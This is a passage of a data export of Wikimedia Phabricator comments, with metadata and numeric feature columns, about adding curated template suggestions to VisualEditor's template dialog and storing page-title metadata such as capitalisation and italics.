+",,,1558172962,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,306,,1,0,0,1,0,1,1,0,1,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,0,1,1,0,0,0,0,1
+1283261,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"I think curating locally is a good step, as different Wikipedias have different customs on this. Basque Wikipedia, for example, has 6 main templates that would cover around 80% of articles (statistics invented now)",,,1558126751,,PHID-USER-g73uduhwmggntmexighn,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,306,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+1283260,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"This development looks good as a step forward. It's certainly better to have a cross-wiki uniform way for listing community curated things, than having local hacks on wikis.
+
+It shouldn't be a permanent solution, however. Some problems with it that need a deeper solution. For example, ""Cite"" has its own whole first-class button, and all the other templates will be hidden in this new list behind Insert -> Template, even though many templates are as useful and common as Cite is. There is no good reason for this differentiation. Many templates could be first-class features like ""Cite"", although global templates should probably implemented first.
+
+But still, it's a step in the right direction.",,,1558126633,,PHID-USER-xfe43w2lb5gpvglf4coa,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,306,,1,0,0,1,1,1,1,0,1,0,1,1,0,0,1,0,0,1,1,0,1,1,0,0,1,1,0,1,1,1,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+1283154,VisualEditor: Provide some kind of template suggestion in the transclusion editor,">>! In T55590#5191516, @Trizek-WMF wrote:
+> That's the list of most popular (aka most used templates), right?
+
+No, it will be a community-curated list, defined on-wiki in a JSON message file. Otherwise you'd probably end up with useless crap like `{{!}}`.",,,1558114037,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,306,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,1,1
+1283151,VisualEditor: Provide some kind of template suggestion in the transclusion editor,">>! In T55590#5191516, @Trizek-WMF wrote:
+> That's the list of most popular (aka most used templates), right?
+
+No, it will be a fixed list, defined on-wiki in a JSON message file. Otherwise you'd probably end up with useless crap like `{{!}}`.",,,1558113546,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,306,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,1,1
+1283147,VisualEditor: Provide some kind of template suggestion in the transclusion editor,">>! In T55590#5191516, @Trizek-WMF wrote:
+> That's the list of most popular (aka most used templates), right?
+
+No, it will be a fixed list, defined on-wiki in a JSON message file.",,,1558113274,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,306,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,1,1
+1283134,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"That's the list of most popular (aka most used templates), right?",,,1558112406,,PHID-USER-uciss2jl2e4ifxqqk7wk,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,306,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0
+1283129,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"Here's how it looks on my local install:
+{F29090517,size=full}",,,1558112173,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,306,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+1283124,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"@Whatamidoing-WMF tells me that English Wikivoyage would be a good candidate for a potential test: ""they have 6 templates they use all the time"". I think French Wikipedia would be a good candidate too. ",,,1558112074,,PHID-USER-uciss2jl2e4ifxqqk7wk,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,306,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,0,0,1,1,0,0,0,0
+1283101,VisualEditor: Provide some kind of template suggestion in the transclusion editor,">>! In T223534#5189267, @Theklan wrote:
+> I think the first one would work.
+
+
+
+>>! In T223534#5189303, @Esanders wrote:
+> For anyone interested working  on this, the code would go in `ve.ui.MWTemplatePlaceholderPage`, and would need to do the following:
+> # Fetch the JSON data for the local wiki using mw.message, see `ve.ui.Citoid.init.js` for an example of this.
+> # Get the template descriptions for the listed templates using the API, see the request that the search box uses
+> # Append a list of mw.widgets.TitleOptionWidgets to the page
+
+
+
+>>! In T223534#5190232, @Trizek wrote:
+> I'll give my eternal reconnaissance as a community member to whoever achieves that task. This is something we miss since a while on French Wikipedia. 
+> 
+> Also, that task is probably a duplicate of {T96710}.
+
+
+
+>>! In T223534#5190242, @Theklan wrote:
+> @Trizek-WMF it is similar, but this would be adding the most usual ones, as we are working with 6 automated templates that are highly used.
+
+
+
+>>! In T223534#5191300, @Esanders wrote:
+> I think T96710 is asking for a similar feature, but adding buttons to the toolbar, not the template dialog.
+
+",,,1558109768,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,306,,0,1,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,1,1
+1283097,VisualEditor: Provide some kind of template suggestion in the transclusion editor,">>! In T223534#5189252, @Esanders wrote:
+> I think for a first pass on this we can allow wikis to define a list of most common templates on wiki, e.g.
+> ```lang=json,name=MediaWiki:Template-directory.json
+> [
+>   ""Biografia infotaula automatikoa"",
+>   ...
+> ]
+> ```
+> 
+> This could then be fetched by the template dialog and show in the space below the search input:
+> 
+> {F29083664,width=350}
+> 
+> 
+> In the future we would probably want to make this more flexible, such as by grouping templates together, e.g.
+> ```lang=json,name=MediaWiki:Template-directory.json
+> [
+>   {
+>     ""group"": ""Infoboxes"",
+>     ""templates"": [
+>       ""Biografia infotaula automatikoa"",
+>       ...
+>     ]
+>   }
+> ]
+> ```
+> 
+> which would necessitate a slightly more complex UI.
+
+",,,1558109701,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,306,,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,1
+1283095,VisualEditor: Provide some kind of template suggestion in the transclusion editor,">>! In T223534#5189228, @Theklan wrote:
+> When we click in the insert template button we get a white pop-up where we must figure out what the correct template is. In Basque wikipedia we are using a reduced automatic templates system, so it would be very useful to have them listed just below, so you can click them and choose.
+> 
+> Most useful infoboxes:
+> 
+> * {{biografia infotaula automatikoa}}
+> * {{artelan infotaula automatikoa}} < for artworks
+> * {{Eraikin infotaula automatikoa}} < buildings
+> * {{Hiri orokor infotaula}} < cities
+> * {{Probintzia orokor infotaula}} < administrative units up from cities
+> * {{taxotaula automatikoa}} < taxobox
+
+",,,1558109622,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,306,,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,1,1,0,1,1
+1283094,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"Change 510943 had a related patch set uploaded (by Esanders; owner: Esanders):
+[mediawiki/extensions/VisualEditor@master] Allow popular templates to be listed in the template dialog
+
+[[https://gerrit.wikimedia.org/r/510943]]",,,1558109586,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,306,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+962602,VisualEditor: Provide some kind of template suggestion in the transclusion editor,{T109253} looks like a similar request.,,,1510330562,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,227,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+534981,VisualEditor: Provide some kind of template suggestion in the transclusion editor,">>! In T55590#1673809, @Elitre wrote:
+> @James_F, is this something a gadget could easily achieve?
+
+It could, but I'd rather avoid people adding new things to the toolbar //ad hoc//. We really need a design for this that can scale.",,,1443172692,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,116,,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+534971,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"@James_F, is this something a gadget could easily achieve?",,,1443171649,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,116,,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0
+477890,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"Mmm... I don't know if it's a //blocker//, but it is quite desirable.",,,1434708828,,PHID-USER-xfe43w2lb5gpvglf4coa,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,102,,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0
+477805,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"I suggest that per Amire80, cross-wiki templates be made a blocker bug for this feature.
+
+It's just too much widely duplicated work to do otherwise.",,,1434682068,,PHID-USER-rtxvf2yd2qd3qmsps3bk,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,102,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+448210,VisualEditor: Provide some kind of template suggestion in the transclusion editor,It would really be appreciated in wikipedia's sister projects to have a costumizable common templates dropdown as there is with the citation tool.,,,1429796328,,PHID-USER-igg6dsz3ijszcxvvirgp,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,94,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+475427,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"The more I use VE, the more I miss such a feature.
+
+The challenge with it is that it's badly project-specific, so community editors will need an easy way to customize this list, but something like this already done for citation templates, so it should be possible for other templates as well.
+
+This is one issue for which it's REALLY worth poking around Wikimedia projects in different languages to ask them what would they like in such a feature, and what current features they currently have that are similar to this. For example, the Hebrew Wikipedia has the Templateslist script ( https://he.wikipedia.org/wiki/MediaWiki:Templateslist.js ), which adds a dropdown with common templates to the Vector editing toolbar, and users there complain that they don't want to use VE because VE doesn't have such a list.
+
+I'm not rushing - this requires proper research, understanding and design, but it should be somewhere in the roadmap.",,,1434455793,,PHID-USER-xfe43w2lb5gpvglf4coa,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,102,,0,1,0,0,1,1,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,0,1,0,0,1,1,1,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0
+394662,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"The more I use VE, the more I miss such a feature.
+
+The challenge with it is that it's badly project-specific, so community editors will need an easy way to customize this list, but something like is already done for citation templates, so it should be possible for other templates as well.
+
+This is one issue for which it's REALLY worth poking around Wikimedia projects in different languages to ask them what would they like in such a feature, and what current features they currently have that are similar to this. For example, the Hebrew Wikipedia has the Templateslist script ( https://he.wikipedia.org/wiki/MediaWiki:Templateslist.js ), which adds a dropdown with common templates to the Vector editing toolbar, and users there complain that they don't want to use VE because VE doesn't have such a list.
+
+I'm not rushing - this requires proper research, understanding and design, but it should be somewhere in the roadmap.",,,1420149875,,PHID-USER-xfe43w2lb5gpvglf4coa,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,78,,0,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,0,1,0,0,1,1,1,1,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0
+332711,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"The more I use VE, the more I miss such feature.
+
+The challenge with it is that it's badly project-specific, so community editors will need an easy way to customize this list, but something like is already done for citation templates, so it should be possible for other templates as well.
+
+This is one issue for which it's REALLY worth poking around Wikimedia projects in different languages to ask them what would they like in such a feature, and what current features they currently have that are similar to this. For example, the Hebrew Wikipedia has the Templateslist script ( https://he.wikipedia.org/wiki/MediaWiki:Templateslist.js ), which adds a dropdown with common templates to the Vector editing toolbar, and users there complain that they don't want to use VE because VE doesn't have such a list.
+
+I'm not rushing - this requires proper research, understanding and design, but it should be somewhere in the roadmap.",,,1416866083,,PHID-USER-xfe43w2lb5gpvglf4coa,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,73,,0,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,0,1,0,0,1,1,1,1,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0
+252403,VisualEditor: Provide some kind of template suggestion in the transclusion editor,*** Bug 69787 has been marked as a duplicate of this bug. ***,,,1408571387,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,59,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+252397,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"The main priority is a (very limited) suggestion of quick-inserting templates when in a reference, which is bug 50458.
+
+This is certainly a possibility, but would probably want to be context-specific (so it only suggests clean-up templates when your cursors is at the top of the page; only suggests stubs when at the bottom; etc.).",,,1377908590,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,8,,0,0,1,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,1
+252391,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"Created attachment 13203
+A very quick mockup for quick access buttons
+
+One idea I've had is to use some of the empty vertical space on the right of the dialog for some quick access buttons. See attachment for a 2 minute mockup of how this might look. The labels I've used in the mockup are not necessarily the right ones, they're just ones I quickly thought of.
+
+Either the buttons could be set to allow one-click access to certain templates, or to be drop-down lists of similar related ones. Possibly the two could be combined - click to get the top item in the list, or click and hold for a moment to open the drop down for short list (almost certainly no more than 10, probably less than that) of similar ones.
+
+Selecting any of these would have the same effect as typing the name into the search field, selecting it, and clicking to add the template.
+
+A second idea would be to change the transclusion editor button from a simple button to a combined button/drop down as I described above. Here you could only have a single list but it could be longer. Selecting a template from this list would load the transclusion editor with that template preloaded into it.
+
+Some way of customising either/both lists (beyond recently used) would be useful too.
+
+**Attached**: {F11786}",,,1377900016,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,8,,1,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,1,1,1,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+55566,"Pages should have metadata about their correct title (capitalisation, special characters, etc)","As discussed at bug 50452 comment 9 it would be very useful for a page to have associated metadata about its title.
+
+For most pages and by default* this would be identical to the all-lowercase rendering of its stored title, but where pages correctly start with a lowercase letter (on wikis where the first character is case insensitive), contain special characters or conflict with interwikis/namespaces, etc. the metadata would record the correct page title. It could also be used for titles that should be italicised.
+e.g. on en.wp:
+Page Title         - Correct Title
+[[IPad]]           - iPad
+[[Benzo(a)pyrene]] - Benzo[a]pyrene
+[[Pilot No. 5]]    - Pilot #5
+[[D Ream]]         - D:Ream
+[[Computer]]       - computer [indicating a common noun]
+[[Amy Studt]]      - Amy Studt [indicating the title is proper noun]
+[[Animal Farm]]    - <i>Animal Farm</i> [italicised proper noun, the tags are not literal]
+
+The displayed title would be taken from this metadata and as such would effectively supercede the DISPLAYTITLE magic word and the [[template:correct title]] family of templates (and the equivalents on other wikis).
+
+VisualEditor and any other tools that aid linking would be able to read the metadata and use it to determine what the default displayed name should be when linking to that article.
+
+*Actually the default should be configurable as I guess languages like German that capitalise common nouns may want the default to be capitalised and the upper/lower case distinction probably doesn't make sense in all scripts.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50452
+https://bugzilla.wikimedia.org/show_bug.cgi?id=56868
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49076",Low,25.0,1377811860,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-lmosmab7pjd2m5cnmo2t,task_description,open,True,c1,3,False,False,,8,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1
+250397,"Pages should have metadata about their correct title (capitalisation, special characters, etc)",">The advantage of storing this metadata is that it allows for a large amount of
+>semantic information about the title which can be used not only for linking but
+>potentially for customised display options and doubtless more that I haven't
+>thought of.
+
+That's certainly true. 
+-----
+
+My initial reaction is that the user is probably in a better position to decide how to capitalize/italicize the title in a given context than software would be, but if such formatting of titles is consistent, I suppose it could make sense to automatically do it.
+
+>I'm told that it needs to be moved out of templates for VE to support.
+
+It should not need that to *use* the data. To effectively edit the displaytitle data, it may need that.
+
+>I don't
+>know why.
+>More philosophical, but I was under the impression that the long term goal was
+>to separate metadata from content?
+
+Some folks have that goal. Personally I think that doing so would reduce the power of mediawiki significantly, although my opinion may be a minority one. (And probably offtopic for this bug report)",,,1378773876,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-lmosmab7pjd2m5cnmo2t,task_subcomment,,True,c1,3,False,,,10,,1,0,0,1,1,1,1,0,1,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,1,1,0,1,0,0,1,1,1,0,1,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+250393,"Pages should have metadata about their correct title (capitalisation, special characters, etc)","(In reply to comment #4)
+> > 
+> > The idea is not just to store what the title should be displayed as when it
+> > doesn't match the default, but to record what the title actually is in all
+> > cases. Presently there is afaik no way to tell that for example [[Parish
+> > ale]]
+> > is a common noun, [[Parish Walk]] is a proper noun and [[Parish Bar]] is a
+> > proper noun that should be italicised.
+> 
+> *Does it really make sense to store what type of word the title is, instead
+> of just how to display it. 
+
+Sorry that was my poor explanation. For tools (such as VisualEditor) to offer a sensible default for the display of a link the tool needs to know how the title should be displayed. In mid sentence:
+*The vicar drank some [[parish ale]] and declared it ""rather good""
+*The vicar competed in the 2013 [[Parish Walk]], raising money for the church roof.
+*The vicar enjoyed listening to the ''[[Parish Bar]]'' album while driving.
+
+At present only the last of these has need of a {{DISPLAYTITLE}} because the unitalicised format with an initial capital letter is correct when it appears as a page title. This tells us nothing about how it should be used in other contexts, and the DISPLAYTITLE for the third example tells us nothing about capitalisation mid-sentence. In other words we want to store the information about how the title should be used in all cases, not just when it doesn't match the default.
+
+It seems to me that there are three options for how to structure this metadata. 
+The first is to simply store the format, e.g. ""title: ''Parish Bar''"" or ""title: parish ale"".
+The second is to define classes of titles and how they are displayed and assign each article title to one such class. e.g. for Parish Walk ""title class: proper noun"" and for Parish Bar: ""title class: musical album title""
+The third option is to store a class (without that defining the display) and the display: ""title: ''Parish Bar''; class: musical album title"".
+
+The classes and (associated) displays would need to be configurable per wiki for either of those options to work.
+
+I've also realised that separate fields would be good for ""title"" and ""disambiguator"", e.g. for the article at [[Mercury (element)]]: ""title: mercury""; ""disambiguator: element""; class: ""common noun"" or for [[Wellington, Somerset]]: ""title: Wellington""; ""disambiguator: Somerset""; ""class: place name""
+
+The advantage of storing this metadata is that it allows for a large amount of semantic information about the title which can be used not only for linking but potentially for customised display options and doubtless more that I haven't thought of.
+
+> *What problem (Other than perhaps ideological) does moving the data out of
+> templates actually solve?
+I'm told that it needs to be moved out of templates for VE to support. I don't know why.
+More philosophical, but I was under the impression that the long term goal was to separate metadata from content?",,,1378772376,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-lmosmab7pjd2m5cnmo2t,task_subcomment,,True,c1,3,False,,,10,,1,0,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+250389,"Pages should have metadata about their correct title (capitalisation, special characters, etc)","
+> 
+> The idea is not just to store what the title should be displayed as when it
+> doesn't match the default, but to record what the title actually is in all
+> cases. Presently there is afaik no way to tell that for example [[Parish
+> ale]]
+> is a common noun, [[Parish Walk]] is a proper noun and [[Parish Bar]] is a
+> proper noun that should be italicised.
+
+I don't think I properly understand the problem this is trying to solve. To be honest it sounds like a solution looking for a problem.
+
+Basically what I'm asking:
+*Does it really make sense to store what type of word the title is, instead of just how to display it. Mapping types of words -> how to display them sounds like something that would vary a lot by culture (Or even in english wikis that have different traditions)
+*What problem (Other than perhaps ideological) does moving the data out of templates actually solve?",,,1378768930,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-lmosmab7pjd2m5cnmo2t,task_subcomment,,True,c1,3,False,,,10,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+250385,"Pages should have metadata about their correct title (capitalisation, special characters, etc)","(In reply to comment #1)
+> I'm confused. Is this asking to move {{DISPLAYTITLE:...}} out of wikitext?
+> 
+> Displaytitle is a form of metadata, and it gets stored in the db separately,
+> and can be queried separately, etc.
+
